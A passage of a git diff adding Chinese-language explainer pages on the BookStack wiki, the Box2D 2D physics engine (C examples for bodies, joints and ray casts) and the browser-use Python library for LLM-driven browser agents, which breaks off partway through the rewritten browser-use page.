+| 3. 部署 | Docker 或 Ubuntu 脚本在 VPS 起实例，改管理员密码，配 SMTP | 掌握自建 |
+| 4. 集成 | 创建 API Token，用 curl 创建页；可选 Webhook → Slack | 接入自动化 |
+| 5. 治理 | 配 LDAP/OIDC、MFA、Book 级权限、导出 PDF 给外审 | 企业可用 |
+
+官方资源：[文档中心](https://www.bookstackapp.com/docs)、[API 文档（demo）](https://demo.bookstackapp.com/api/docs)、[社区论坛](https://community.bookstackapp.com/)、[api-scripts 示例库](https://codeberg.org/bookstack/api-scripts)。
+
+---
+
+## 小结
+
+BookStack 把「内部文档该长什么样」这件事想得很直白：**像图书馆一样分层摆书，像 Word 一样写页，像 Git 一样留修订，像 API 一样接流水线**。它不试图取代 Notion _database 或 Confluence 插件生态，但在 **MIT、自托管、文档 Wiki** 这个窄缝里，用极低的组织成本换团队愿意持续维护的「单一事实来源」。从零开始：先玩 demo，再 Docker 起一个实例，最后用 REST API 把第一次自动发版写页跑通——这三步走完，你就已经比大多数「Wiki 建了没人写」的团队更进一步。
diff --git a/src/content/docs/projects/box2d.md b/src/content/docs/projects/box2d.md
new file mode 100644
index 000000000..6aed2f751
--- /dev/null
+++ b/src/content/docs/projects/box2d.md
@@ -0,0 +1,272 @@
+---
+title: Box2D — Erin Catto C++ 2D 物理
+来源: 'https://github.com/erincatto/box2d'
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**Box2D** 是由 Erin Catto 创建并长期维护的**开源 2D 刚体物理引擎**，MIT 协议，GitHub 仓库 [erincatto/box2d](https://github.com/erincatto/box2d) 约 9.7k star。它不负责渲染、音频或 UI，只回答一个问题：**给定质量、形状、力和约束，下一帧每个物体该在哪里、转多少度**。
+
+日常类比：把 Box2D 想成**桌游店里的弹珠轨道裁判**。你在桌上摆好挡板（静态形状）、弹珠（动态刚体）、铰链（关节），裁判每帧按牛顿力学推进世界，并把新坐标交还给你的精灵绘制代码。你画美术、写玩法；物理引擎管碰撞、摩擦、弹跳和连锁倒塌——《Angry Birds》式的抛物与结构坍塌，底层就是这类 2D 求解器（业界常把 Box2D 当作该品类的参考实现）。
+
+历史上 Box2D 以 **C++** 闻名并催生了大量语言移植（JavaScript 的 box2d.js、C# 的 Farseer 等）。**当前主线是 Box2D 3.x**：核心库用 **C17** 重写，采用数据导向设计、多线程与 SIMD；API 从 `b2World*` 指针风格改为 **`b2WorldId` 等不透明句柄**。samples 仍用 C++20 + GLFW + imgui 演示。零基础学习时，先掌握「世界 → 刚体 → 形状 → 步进」闭环，再读 [Migration Guide](https://github.com/erincatto/box2d/blob/main/docs/migration.md) 对照旧教程即可。
+
+```c
+#include "box2d/box2d.h"
+
+// 最小闭环：建世界 → 加地面与箱子 → 模拟若干步
+b2WorldDef worldDef = b2DefaultWorldDef();
+worldDef.gravity = (b2Vec2){0.0f, -10.0f};
+b2WorldId worldId = b2CreateWorld(&worldDef);
+
+// 静态地面（type 默认为 static）
+b2BodyDef groundDef = b2DefaultBodyDef();
+b2BodyId groundId = b2CreateBody(worldId, &groundDef);
+b2ShapeDef groundShapeDef = b2DefaultShapeDef();
+b2Segment groundSegment = {{ -20.0f, 0.0f }, { 20.0f, 0.0f }};
+b2CreateSegmentShape(groundId, &groundShapeDef, &groundSegment);
+
+// 动态箱子
+b2BodyDef boxDef = b2DefaultBodyDef();
+boxDef.type = b2_dynamicBody;
+boxDef.position = (b2Vec2){0.0f, 4.0f};
+b2BodyId boxId = b2CreateBody(worldId, &boxDef);
+b2ShapeDef boxShapeDef = b2DefaultShapeDef();
+boxShapeDef.density = 1.0f;
+b2Polygon box = b2MakeBox(0.5f, 0.5f);
+b2CreatePolygonShape(boxId, &boxShapeDef, &box);
+
+for (int i = 0; i < 120; i++) {
+  b2World_Step(worldId, 1.0f / 60.0f, 4);
+}
+```
+
+上面与官方 samples 同构：先 `b2DefaultWorldDef()` 设重力，再创建 body 并挂 shape，最后循环 `b2World_Step`。
+
+## 为什么重要
+
+不了解 Box2D，下面这些事都难以解释：
+
+- 为什么 2D 平台游戏、弹弓益智、车辆侧视关卡可以**共用同一套物理 API**——刚体 + 关节 + 接触约束是通用积木
+- 为什么《Angry Birds》之后大量 HTML5/移动游戏都出现「box2d」字样——它是 2D 物理的**事实标准**与移植源头
+- 为什么物理坐标要用**米**而不是像素——引擎按 MKS（米-千克-秒）调参，用像素当米会导致物体像摩天大楼一样不稳定
+- 为什么固定时间步（1/60 s）和渲染帧率要分离——`b2World_Step` 用离散积分，大 dt 会导致高速物体**隧道穿透**（tunneling）
+- 为什么 Erin Catto 在 GDC 连年讲 **Constraints**——关节、接触、摩擦在数学上都是「约束」，由同一类**顺序冲量求解器**迭代求解
+
+## 核心要点
+
+### 1. 物理世界（World）
+
+`b2WorldId` 是一帧仿真的总容器，持有所有 body、shape、joint 和自动生成的 contact。每调用一次 `b2World_Step(worldId, deltaTime, subStepCount)`，内部大致顺序为：
+
+1. **Broad-phase（粗检测）**：用动态树（dynamic tree）筛出可能接触的 shape 对
+2. **Narrow-phase（细检测）**：精确求交，生成接触流形
+3. **Solver（求解器）**：对接触约束与关节约束施加冲量，修正速度
+4. **Integration（积分）**：用新速度更新位姿
+
+类比：粗检测像邮局按邮编分拣；细检测像逐件称重；求解器像调解员决定两辆车擦碰后各退多少。
+
+Box2D 3 还提供 **接触事件**（begin/end）、**传感器事件**、**body 运动事件**，可在步进结束后查询，用于播放音效、计分或触发机关。
+
+### 2. 刚体（Body）与形状（Shape）
+
+| 概念 | 职责 |
+|------|------|
+| **Body** | 质心位置、旋转、线/角速度；类型分 static / kinematic / dynamic |
+| **Shape** | 碰撞几何 + 材质（密度、摩擦、恢复系数）；一个 body 可挂**多个** shape |
+
+创建套路永远是：**先 body，后 shape**。密度写在 `b2ShapeDef` 上，引擎据此累加 body 质量与转动惯量。静态体不需要密度；动态体至少应有一个带正密度的 shape。
+
+Body 类型速查：
+
+| 类型 | 行为 |
+|------|------|
+| `b2_staticBody` | 不动，参与碰撞（地面、墙） |
+| `b2_kinematicBody` | 由代码设速度/位姿，几乎不受力影响，可推动动态体 |
+| `b2_dynamicBody` | 受力、碰撞、关节约束，完全模拟 |
+
+### 3. 单位制：米，不是像素
+
+官方明确建议：**运动物体尺寸保持在 0.1 m～10 m**（罐头到公交车），重力常取 `(0, -10)` 近似地球。若把 200 像素宽的角色直接当 200「米」，引擎会认为你在模拟一栋 45 层高楼，碰撞会发飘。
+
+正确做法：逻辑层用米，渲染层乘 `PTM_RATIO`（pixels-to-meters，常见 32 或 50）画精灵。Cocos2d-x、libGDX 集成文档都强调这一换算。
+
+### 4. 关节（Joint）——铰链、活塞、轮子
+
+关节把两个 body 的相对自由度限制住。Box2D 3 支持 distance、revolute（旋转铰）、prismatic（滑块）、weld、wheel、mouse、motor、filter 等。关节可配置：
+
+- **Limit**：限制活动范围（如肘关节角度）
+- **Motor**：目标角速度/线速度 + 最大力矩/力（可当马达或刹车）
+- **Spring**：刚度与阻尼（用 Hz 表示，与质量解耦）
+
+常见用途：revolute → 门、摆锤、轮子；prismatic → 电梯、活塞；distance → 绳索、链条近似；wheel → 车辆悬挂。
+
+### 5. 约束与求解器（Erin Catto 的核心）
+
+从 GDC 讲义视角，**接触**也是一种约束：禁止两刚体沿法向穿透，并模拟摩擦与恢复系数。**关节**是用户显式添加的约束。**求解器**用 **Sequential Impulses（顺序冲量）** 迭代求各约束的冲量 λ，再在积分阶段更新位置——复杂度约 O(N)，适合实时游戏。
+
+Box2D 3 的 **Soft Step** 求解器 + **连续碰撞（CCD）** 用于缓解高速物体穿透；另有 **sleeping islands**：静止物体簇休眠，不再参与求解，大堆刚体场景更省 CPU。
+
+### 6. 查询 API（不跑物理也能用）
+
+除刚体模拟外，`include` 目录下的碰撞例程可单独使用：**重叠查询、射线投射（ray cast）、形状投射（shape cast）**。做点击选中、视线检测、子弹命中时，不必手写几何相交。
+
+## 实践案例
+
+### 案例 1：读取动态体位置——同步到精灵
+
+物理在「米」里算，绘制在「像素」里画，每帧步进后读 body 位姿：
+
+```c
+#include "box2d/box2d.h"
+#include <stdio.h>
+
+#define PTM 50.0f  // 50 像素 = 1 米
+
+void syncSprite(b2BodyId bodyId) {
+  b2Vec2 pos = b2Body_GetPosition(bodyId);
+  b2Rot rot = b2Body_GetRotation(bodyId);
+  float angle = b2Rot_GetAngle(rot);
+
+  float pixelX = pos.x * PTM;
+  float pixelY = pos.y * PTM;
+  float pixelAngle = angle;  // 弧度，绘制 API 若用度再转换
+
+  printf("sprite at (%.1f, %.1f) rad=%.2f\n", pixelX, pixelY, pixelAngle);
+  // drawTexture(pixelX, pixelY, pixelAngle);
+}
+
+int main(void) {
+  b2WorldDef def = b2DefaultWorldDef();
+  def.gravity = (b2Vec2){0.0f, -10.0f};
+  b2WorldId world = b2CreateWorld(&def);
+
+  b2BodyDef bodyDef = b2DefaultBodyDef();
+  bodyDef.type = b2_dynamicBody;
+  bodyDef.position = (b2Vec2){0.0f, 5.0f};
+  b2BodyId ball = b2CreateBody(world, &bodyDef);
+
+  b2ShapeDef shapeDef = b2DefaultShapeDef();
+  shapeDef.density = 1.0f;
+  shapeDef.material.friction = 0.3f;
+  shapeDef.material.restitution = 0.6f;
+  b2Circle circle = { {0.0f, 0.0f}, 0.25f };
+  b2CreateCircleShape(ball, &shapeDef, &circle);
+
+  for (int i = 0; i < 180; i++) {
+    b2World_Step(world, 1.0f / 60.0f, 4);
+    if (i % 30 == 0)
+      syncSprite(ball);
+  }
+  b2DestroyWorld(world);
+  return 0;
+}
+```
+
+**要点**：`material.restitution` 控制弹性（0 = 不弹，1 = 完全弹性碰撞）；`friction` 为库仑摩擦系数，多在 [0, 1]。不要每帧 `b2Body_SetPosition` 去「硬拽」动态体，除非你知道在写 kinematic 或 teleport 逻辑。
+
+### 案例 2：旋转铰（Revolute Joint）——门或摆锤
+
+两节刚体共用世界空间中的一个锚点，允许相对旋转；可限制角度范围：
+
+```c
+// 假设 world、groundId、doorId 已创建，门竖直挂在地面边缘
+b2RevoluteJointDef jointDef = b2DefaultRevoluteJointDef();
+jointDef.bodyIdA = groundId;
+jointDef.bodyIdB = doorId;
+jointDef.localAnchorA = (b2Vec2){2.0f, 0.0f};   // 地面上的铰点（局部坐标）
+jointDef.localAnchorB = (b2Vec2){-0.5f, 0.0f};  // 门板上的铰点
+jointDef.enableLimit = true;
+jointDef.lowerAngle = -0.25f * B2_PI;  // 约 -45°
+jointDef.upperAngle = 0.5f * B2_PI;    // 约 +90°
+jointDef.enableMotor = false;
+
+b2JointId hingeId = b2CreateRevoluteJoint(world, &jointDef);
+
+// 游戏循环内
+b2World_Step(world, 1.0f / 60.0f, 4);
+// 可对 doorId 施加初速度或外力，门会绕铰摆动并受 limit 约束
+```
+
+**要点**：锚点用**各 body 的局部坐标**表达；`referenceAngle` 在复杂装配时可对齐「零度」姿态。需要主动推门时，可对 `doorId` 用 `b2Body_ApplyTorque` 或打开 motor 设 `motorSpeed` / `maxMotorTorque`。
+
+### 案例 3：射线检测——鼠标点击选物体
+
+```c
+b2Vec2 origin = {3.0f, 5.0f};
+b2Vec2 translation = {0.0f, -10.0f};  // 向下 cast 10 米
+b2RayResult result = b2World_CastRay(world, origin, translation);
+
+if (result.hit) {
+  b2BodyId hitBody = b2Shape_GetBody(result.shapeId);
+  b2Vec2 p = result.point;
+  // 在 p 处高亮，或对 hitBody 施加冲量
+}
+```
+
+## 编译与集成
+
+**CMake 构建**（Linux / macOS / Windows 通用）：
+
+```bash
+git clone https://github.com/erincatto/box2d.git
+cd box2d
+mkdir build && cd build
+cmake ..
+cmake --build . --config Release
+cmake --install .   # 可选
+```
+
+在自己的 CMake 项目里：
+
+```cmake
+find_package(box2d CONFIG REQUIRED)
+target_link_libraries(my_game PRIVATE box2d::box2d)
+```
+
+仓库自带 **samples**（需 C++20 编译器 + OpenGL）：构建后运行可交互查看关节、车辆、堆积与性能场景。学习时优先改 samples 里的 test，比从零搭窗口省事。
+
+**与游戏引擎的关系**：Box2D 不绑定引擎。Unity 有官方 2D Physics（不同实现）；Godot 内置 2D 物理；Cocos2d-x、LÖVE（通过 love.physics 绑定）、libGDX 等可直接嵌 Box2D 或其二进制移植。集成模式都是：**步进物理 → 读 body transform → 写回节点/精灵**。
+
+## 常见坑
+
+1. **像素当米**：最常见错误。务必引入 `PTM_RATIO`，并在思维里区分「模拟坐标」与「屏幕坐标」。
+2. **动态体没有密度**：忘记设 `shapeDef.density` 会导致质量为 0，物体不受重力正确影响。
+3. **静态体被推动**：质量来自形状密度；地面若误建成 dynamic，会被撞飞。检查 `bodyDef.type`。
+4. **大时间步**：单帧 `deltaTime` 过大时，即使 CCD 也可能出问题。累积时间后分多次 `b2World_Step(..., 1/60f, ...)` 更稳。
+5. **关节断开感**：锚点局部坐标设错、或两 body 初始重叠，都会让关节「爆开」。先用 debug draw 核对铰点在世界空间是否重合。
+6. **旧教程 API 对不上**：网上大量 `b2World*`、`CreateFixture` 是 **Box2D 2.x**；读 [migration.md](https://github.com/erincatto/box2d/blob/main/docs/migration.md) 再对照 3.x 的 `b2CreatePolygonShape` 等 C API。
+7. **缩放整个世界**：极端大地图（>12 km）浮点精度会让模拟发飘；应切块或缩小逻辑单位。
+
+## 学习路径
+
+1. 构建并运行官方 **samples**，用 GUI 切换场景，观察睡眠、CCD、关节参数
+2. 手敲「地面 + 箱子」最小 C 程序，确认循环 `b2World_Step` 后 y 坐标下降
+3. 加 **revolute** 或 **prismatic** 关节，理解 anchor / limit / motor
+4. 读 [box2d.org/documentation](https://box2d.org/documentation/) 的 *Units*、*Ids and Definitions*、*Joints* 三章
+5. 看 Erin Catto GDC 讲义 [*Understanding Constraints*](https://box2d.org/files/ErinCatto_UnderstandingConstraints_GDC2014.pdf) 理解求解器在做什么
+6. 若维护旧项目：先确认版本是 2.x 还是 3.x，再选对应 API 与移植绑定
+
+## 与其他方案对比
+
+| 方案 | 维度 | 特点 |
+|------|------|------|
+| **Box2D** | 2D | 轻量、久经考验、关节丰富，嵌入式首选 |
+| **Chipmunk2D** | 2D | 另一套 C 2D 引擎，API 风格不同，iOS 早期常用 |
+| **Bullet** | 3D | 刚体 + 软体，复杂度高，见本库 [Bullet 笔记](./bullet.md) |
+| **Godot Physics 2D** | 2D | 引擎内置，节点式，不直接暴露 Box2D API |
+| **LiquidFun** | 2D | Google 基于 Box2D 2.x 的粒子流体分支，已停更 |
+
+## 延伸阅读
+
+- 官方仓库：<https://github.com/erincatto/box2d>
+- 在线手册（3.x）：<https://box2d.org/documentation/>
+- 2.x → 3.x 迁移：<https://github.com/erincatto/box2d/blob/main/docs/migration.md>
+- Erin Catto GDC 约束讲义：<https://box2d.org/files/ErinCatto_UnderstandingConstraints_GDC2014.pdf>
+- 社区教程（2.x API，概念仍有用）：<https://iforce2d.net/b2dtut/>
+- 旧版 C++ 源码归档：Box2D 2.4 仍可在 release 页获取，便于对照历史文章
diff --git a/src/content/docs/projects/browser-use-py.md b/src/content/docs/projects/browser-use-py.md
new file mode 100644
index 000000000..09a84ce19
--- /dev/null
+++ b/src/content/docs/projects/browser-use-py.md
@@ -0,0 +1,165 @@
+---
+title: browser-use — 给 AI 装上眼睛和手
+来源: https://github.com/browser-use/browser-use
+日期: 2026-06-13
+子分类: 智能体与 LLM
+分类: Agent
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**browser-use** 是一个 Python 库，让 AI 模型能像人一样打开浏览器、看页面、点按钮、填表单、读文字，完成各种网页上的任务。
+
+日常类比：想象你请了一个实习生帮你上网办事。以前 AI 只能"读文字"（比如聊天），它看不见屏幕、碰不了鼠标。browser-use 就是这个实习生的"眼睛 + 双手"——给它一个网页、告诉它你要做什么，它自己打开浏览器、看懂页面上有什么、然后帮你一步步点到位。
+
+## 核心概念
+
+### 1. Agent（智能体）
+
+Agent 是整个系统的"大脑"。你给它一个自然语言任务（比如"帮我找到 star 数最多的 Python 项目"），它就会自己规划步骤、操作浏览器、直到完成任务。
+
+### 2. LLM（大语言模型）
+
+Agent 需要"脑子"来做决策。browser-use 支持多种 LLM 后端——你可以用 OpenAI 的 GPT、Anthropic 的 Claude、Google 的 Gemini，也可以用它们自己优化的模型。你只给一句话，LLM 会把它翻译成浏览器操作。
+
+### 3. Browser（浏览器）
+
+browser-use 底层用 Playwright 驱动一个真实的 Chromium 浏览器。它不是模拟请求，而是**真正打开一个浏览器窗口**，像人一样在页面上点击、输入、滚动。
+
+### 4. Tools（工具）
+
+除了基本的点击和输入，你可以给 Agent 装"自定义工具"，让它能调用你写的函数，比如查询数据库、发送邮件、读取文件等。
+
+### 架构流程
+
+```
+你给 Agent 发任务
+  -> LLM 看懂任务
+  -> LLM 决定下一步操作（点击哪里 / 输入什么）
+  -> Playwright 在真实浏览器里执行操作
+  -> 浏览器截图和页面信息反馈给 LLM
+  -> LLM 判断是否完成，没完成继续下一步
+  -> 循环直到任务完成
+```
+
+## 安装和第一个例子
+
+### 安装
+
+```bash
+pip install "browser-use[core]"
+```
+
+你需要 Python 3.11 或以上版本。
+
+### 例子 1：最简单的 Agent —— 查找 GitHub 上的 star 数
+
+```python
+from browser_use.beta import Agent, BrowserProfile, ChatBrowserUse
+import asyncio
+
+async def main():
+    agent = Agent(
+        task="Find the number of stars of the browser-use repo",
+        llm=ChatBrowserUse(model='openai/gpt-5.5'),
+        browser_profile=BrowserProfile(
+            headless=False,  # False 表示显示浏览器窗口，方便你看着它操作
+            allowed_domains=["*.github.com"],  # 只允许访问 GitHub 相关域名
+        ),
+    )
+    history = await agent.run()
+    print(history.final_result())
+
+if __name__ == "__main__":
+    asyncio.run(main())
+```
+
+**这段代码做了什么？**
+1. 创建一个 Agent，任务是"找到 browser-use 仓库的 star 数"
+2. 用 GPT-5.5 作为大脑
+3. `headless=False` 让浏览器窗口弹出来，你能看到它每一步操作
+4. `allowed_domains` 限制了 Agent 只能访问 GitHub 域名，防止它跑去别的地方
+5. `agent.run()` 开始执行，Agent 会自动打开浏览器、搜索、读取页面、提取 star 数
+6. 完成后输出最终结果
+
+### 例子 2：带自定义工具的 Agent —— 查询天气
+
+```python
+from browser_use import Agent, Tools
+from browser_use.beta import ChatBrowserUse
+import asyncio
+
+# 第一步：创建工具集
+tools = Tools()
+
+# 第二步：写一个自定义工具 —— 模拟查询天气
+@tools.action(description="Get the weather for a given city.")
+def get_weather(city: str) -> str:
+    weathers = {"北京": "晴 22°C", "上海": "多云 25°C", "深圳": "小雨 28°C"}
+    return weathers.get(city, "暂不支持该城市")
+
+# 第三步：创建 Agent 并使用工具
+async def main():
+    agent = Agent(
+        task="北京和上海今天的天气哪个更好？",
+        llm=ChatBrowserUse(model='openai/gpt-5.5'),
+        tools=tools,  # 把自定义工具交给 Agent
+    )
+    history = await agent.run()
+    print(history.final_result())
+
+if __name__ == "__main__":
+    asyncio.run(main())
+```
+
+**这段代码做了什么？**
+1. 用 `Tools()` 创建一个工具集
+2. 用 `@tools.action` 装饰器把一个普通函数变成 Agent 可用的工具，描述告诉 Agent "这是查天气的"
+3. 创建 Agent 时传入 `tools=tools`，Agent 就知道可以调用查天气的工具了
+4. 你只需要说"北京和上海天气哪个更好"，Agent 会自动调用 `get_weather` 函数，拿到两个城市的天气后自己比较
+
+## 实际能做什么
+
+| 场景 | 你只需要说一句 |
+|------|---------------|
+| 自动填表 | "用我的简历信息填写这个求职申请表" |
+| 网购比价 | "把这份购物清单加到 Instacart 购物车" |
+| 信息搜集 | "帮我找一个能装 4090 显卡的电脑机箱" |
+| 数据抓取 | "找到所有价格在 100 元以下的 Python 书籍" |
+
+## CLI 快速操作
+
+除了写代码，browser-use 还提供了命令行工具，可以交互式地操作浏览器：
+
+```bash
+browser-use open https://example.com    # 打开网页
+browser-use state                       # 列出页面上所有可点击的元素
+browser-use click 5                     # 点击第 5 个元素
+browser-use type "你好"                 # 在输入框打字
+browser-use screenshot page.png         # 截图保存
+browser-use close                       # 关闭浏览器
+```
+
+CLI 模式下浏览器会一直保持打开状态，每条命令之间不会重启，适合快速迭代测试。
+
+## 本地 vs 云端
+
+**用开源版（本地运行）：**
+- 完全免费，MIT 开源协议
+- 需要自己管理浏览器实例
+- 适合需要深度定制、自定义工具的场景
+- 需要搭配 LLM 的 API 密钥（OpenAI / Anthropic / Google 等）
+
+**用云端版（browser-use.com）：**
+- 更强大的模型，完成复杂任务成功率更高
+- 内置反检测（stealth）、代理轮换、验证码解决
+- 1000+ 集成（Gmail、Slack、Notion 等）
+- 适合生产环境大规模使用
+
+## 下一步可以探索
+
+- [自定义工具](https://docs.browser-use.com/customize/tools/basics)：深入 learn 如何编写更强的工具
+- [浏览器配置](https://docs.browser-use.com/open-source/customize/browser/remote)：远程浏览器、隐身模式
+- [支持的模型](https://docs.browser-use.com/supported-models)：用不同的 LLM 后端
+- [更多示例](https://docs.browser-use.com/examples)：表单填写、网购、个人助理等完整案例
diff --git a/src/content/docs/projects/browser-use.md b/src/content/docs/projects/browser-use.md
index 319e8bd34..7de258fa6 100644
--- a/src/content/docs/projects/browser-use.md
+++ b/src/content/docs/projects/browser-use.md
@@ -1,166 +1,332 @@
 ---
-title: browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架
-来源: https://github.com/browser-use/browser-use
-日期: 2026-05-29
-子分类: AI agent infra
-分类: 机器学习
-难度: 中级
+title: browser-use — 用自然语言让 AI Agent 操控浏览器
+来源: 'https://github.com/browser-use/browser-use'
+日期: 2026-06-13
+子分类: ai-agent-infra
+分类: 其他
+难度: 高级
 provenance: pipeline-v3
+season: 6
 ---
 
-## 是什么
+## 日常类比：雇一个会自己查地图的实习生
 
-browser-use 是一个 **Python 框架**，让大语言模型（LLM）像人一样操作浏览器——点按钮、填表单、抓数据。日常类比：你雇了一个不会读屏幕的助理，所以你先把网页翻译成一份编号清单（"1 号是搜索框、2 号是登录按钮、3 号是商品图..."），他报"点 2 号"，你替他点。
+想象你要让实习生帮你办一件杂事：「去招聘网站搜 Python 远程岗，把前 5 条标题和薪资抄到表格里」。你不会给他写 47 步操作手册（先点这里、再等 3 秒、再 XPath 那个按钮）。你会**用一句话交代目标**，让他自己打开浏览器、找搜索框、翻页、复制——中间遇到弹窗自己关，找不到就换关键词。
 
-你写：
+**browser-use 干的就是这件事**，只不过「实习生」是大语言模型（LLM），「浏览器」由程序在后台或通过 CDP 驱动。你写 `task="..."`，Agent 循环执行：**看页面 → 想下一步 → 点/填/滚/提取 → 再观察**，直到任务完成或达到步数上限。
+
+和 [[playwright]] 手写脚本的区别：Playwright 像你把每一步都录成宏；browser-use 像你把 KPI 交给 agent，它自己规划路径。项目地址：[browser-use/browser-use](https://github.com/browser-use/browser-use)，GitHub 约 9.6 万 Stars（2026 年中），MIT 开源，另有 [Browser Use Cloud](https://cloud.browser-use.com) 托管浏览器与反检测能力。
+
+---
+
+## 解决什么问题
+
+### 痛点 1：网页自动化脚本 brittle（一改版就挂）
+
+传统 [[selenium]] / Playwright 脚本绑死 CSS selector、DOM 结构。产品改个 class 名，CI 全红。browser-use 让 LLM 根据**当前页面的语义描述**（按钮文字、输入框 placeholder、可见元素索引）决策，对小幅 UI 变动更耐受——不是魔法，但少写大量维护 selector 的代码。
+
+### 痛点 2：任务描述是自然语言，不是状态机
+
+「帮我在这个 SaaS 后台导出上月报表并上传到 Drive」涉及多步、分支、异常（登录过期、二次验证）。手写状态机成本高。browser-use 把**任务规划**交给 LLM：每步从内置 action 集合里选 `click`、`input`、`scroll`、`extract` 等，形成隐式 plan。
+
+### 痛点 3：需要「AI 能用的浏览器」，而不只是「人能用的浏览器」
+
+纯截图 + 像素点击（Computer Use 路线）通用但贵、慢、易点偏。browser-use 主路线是 **DOM 索引 + 可选 Vision**：把页面压缩成带编号的可交互元素清单喂给模型，token 更省、动作更准；复杂布局再开 `use_vision=True` 补截图理解。
+
+### 痛点 4：从原型到生产缺一层基础设施
+
+开源库负责 Agent 循环；Cloud 提供 stealth 浏览器、住宅代理、CAPTCHA、会话持久化（cookies/profile）。同一套 `Agent` API 可本地 Chromium，也可接远程 CDP / 云端沙箱。
+
+---
+
+## 核心概念
+
+browser-use 文档把架构拆成三块：**Agent**、**Browser**、**Tools**。理解这三者，就理解「AI 怎么控浏览器」。
+
+### 1. Agent —  orchestrator（编排者）
+
+`Agent` 是入口类：持有 `task`（自然语言目标）、`llm`（决策模型）、`browser`（浏览器会话）、`tools`（可调用动作注册表）。
+
+执行 `await agent.run(max_steps=100)` 时进入**步进循环**（官方称 step）：
+
+1. **Observe**：Browser 通过 CDP 抓取 DOM、可选截图，序列化成 LLM 可读状态
+2. **Plan / Act**：LLM 输出结构化动作（一次可多个，`max_actions_per_step` 控制上限）
+3. **Execute**：Tools 层调用 `click`、`navigate`、`input` 等
+4. **Evaluate**：检查是否达成 task、是否失败需重试（`max_failures`）
+5. 未结束则回到 1，直到 `done` 或步数用尽
+
+这就是 **task planning**：不是事先写死计划，而是 **ReAct 式** 每步重新规划。可选 `use_thinking=True` 让模型显式写出推理；`flash_mode=True` 跳过部分评估以换速度（适合简单重复任务）。
 
 ```python
-from browser_use import Agent, ChatBrowserUse
-agent = Agent(task="搜 NeurIPS 2024 前 5 篇论文标题", llm=ChatBrowserUse())
-await agent.run()
+# Agent 生命周期里的关键 API（概念示意）
+history = await agent.run(max_steps=50)
+
+if history.is_done():
+    print(history.final_result())      # 最终文本结果
+    print(history.urls())              # 访问过的 URL
+    print(history.action_names())      # 执行过的动作名
+
+await agent.add_new_task("把结果保存到 notes.txt")  # 同会话追加任务
+await agent.stop()   # 优雅停止
+await agent.kill()   # 强制清理
 ```
 
-agent 自动开浏览器、抽 DOM、喂 LLM、执行动作，循环直到 LLM 说"完成"。截至 2026-05-26，96k stars / 10.7k forks / MIT，主打"让网页对 AI 可访问"。
+### 2. Action / Tools —  agent 的「手」
+
+**Action** 是 agent 能调用的原子操作。框架内置一整套（导航、点击、输入、滚动、标签页、文件上传、`extract` 用 LLM 抽结构化数据等），注册在默认 `Tools` 里。
 
-## 为什么重要
+你可以用装饰器扩展 **自定义 action**，例如调内部 API、读 2FA、问人类：
 
-不理解 browser-use 的设计选择，下面这些事都没法解释：
+```python
+from browser_use import Agent, Tools, ActionResult, BrowserSession
+
+tools = Tools()
+
+@tools.action("Ask human for help with a question")
+async def ask_human(question: str, browser_session: BrowserSession) -> ActionResult:
+    # 参数名必须是 browser_session，类型 BrowserSession —— 框架按名注入
+    answer = input(f"{question} > ")
+    return ActionResult(extracted_content=f"The human responded with: {answer}")
+
+agent = Agent(task="遇到验证码时向人类求助", llm=llm, tools=tools)
+```
+
+自定义 action 与内置 action 对 LLM 来说都在**同一张工具菜单**里；Pydantic 模型定义参数 schema，减少胡编字段。
 
-- 为什么 Anthropic Computer Use（让 LLM 看截图点像素）和 browser-use（让 LLM 看 DOM 选编号）是两种完全不同的 agent 路线
-- 为什么"把 HTML 喂给 LLM"听起来简单，真做起来要压缩 95% 才装得进上下文
-- 为什么 LLM agent 项目都长得像（main loop + tool registry + provider 抽象），背后是同一套 reactor pattern
-- 为什么 2024-2026 浏览器自动化的明星不是 Playwright 升级版，而是套在 Playwright 之上的"翻译层"
+**initial_actions** 是特例：在 LLM 介入**之前**确定性执行的动作列表（例如先 `navigate` 到登录页、注入 cookie），格式 `[{"navigate": {"url": "https://..."}}]`，不消耗 LLM 步数做「已知路径」。
 
-## 核心要点
+### 3. Task Planning —  从一句话到多步执行
 
-browser-use 的设计可以拆成 **三条**：
+| 层次 | 谁负责 | 例子 |
+|------|--------|------|
+| 任务（Task） | 你 | `"在 HN 找 AI 相关热度最高的帖子"` |
+| 计划（Plan） | LLM 每步更新 | 「先 navigate → 搜索 → scroll → click 第 3 条 → extract」 |
+| 动作（Action） | Tools 执行 | `click(index=7)`, `input(text="AI", index=2)` |
+| 状态（State） | Browser | 当前 URL、DOM 索引表、标签页、下载文件 |
 
-1. **DOM 索引而非像素**：不让 LLM 输出 `(x=456, y=312)`，而是输出"点 2 号元素"。类比：跟服务员点菜不报"右下角第三盘"，而是说"3 号套餐"。网页改版 selector 还在、像素全错——容错率差一个数量级。
+规划质量取决于：**task 是否具体**、**LLM 能力**、**max_steps / max_failures**、**是否开 vision**。生产上常配合 `output_model_schema`（Pydantic 模型）约束最终输出为 JSON，便于下游 pipeline 消费。
 
-2. **每步压缩成清单 + tool 调用**：DOM service 把整页几十万 token 压缩到 5k token 的 indexed 列表（`[1] <input> [2] <button> ...`），喂给 LLM；LLM 用 Pydantic 校验过的 tool call 选动作。类比：把整本字典缩成单页菜单，让人选条目而不是默写。
+### 4. Browser —  CDP 上的自动化层
 
-3. **三阶段 step 循环**：每步 `prepare`（抓 DOM）→ `get_action`（问 LLM）→ `execute`（调 Playwright）→ `post`，直到 LLM 返回 `done` 或撞 500 步上限。类比：洗碗洗一只→冲一只→晾一只→洗下一只，不堆批量。
+`Browser`（别名 `BrowserSession`）管理 Chromium 生命周期：本地 headless/有头、连接已有 CDP URL、或使用 Cloud 远程浏览器。底层走 **Chrome DevTools Protocol**，不是 Selenium WebDriver；同时提供 **Actor API**，语义接近 Playwright 的 `page.click()`，供确定性脚本与 agent 混用。
 
-三条加起来叫 **「视觉简化器 + 动作分发器」**——不发明智能 planner，靠"压缩输入 + 受控输出"让 LLM 表现稳定。
+---
 
-## 实践案例
+## 安装与最小示例
 
-### 案例 1：5 分钟跑通
+**环境**：Python 3.11+ 推荐，需要 LLM API Key（或 Browser Use 的 `ChatBrowserUse` + `BROWSER_USE_API_KEY`）。
 
 ```bash
 pip install browser-use
+# 本地 Chromium（若不用 Cloud 远程浏览器）
 playwright install chromium
-export ANTHROPIC_API_KEY=...
 ```
 
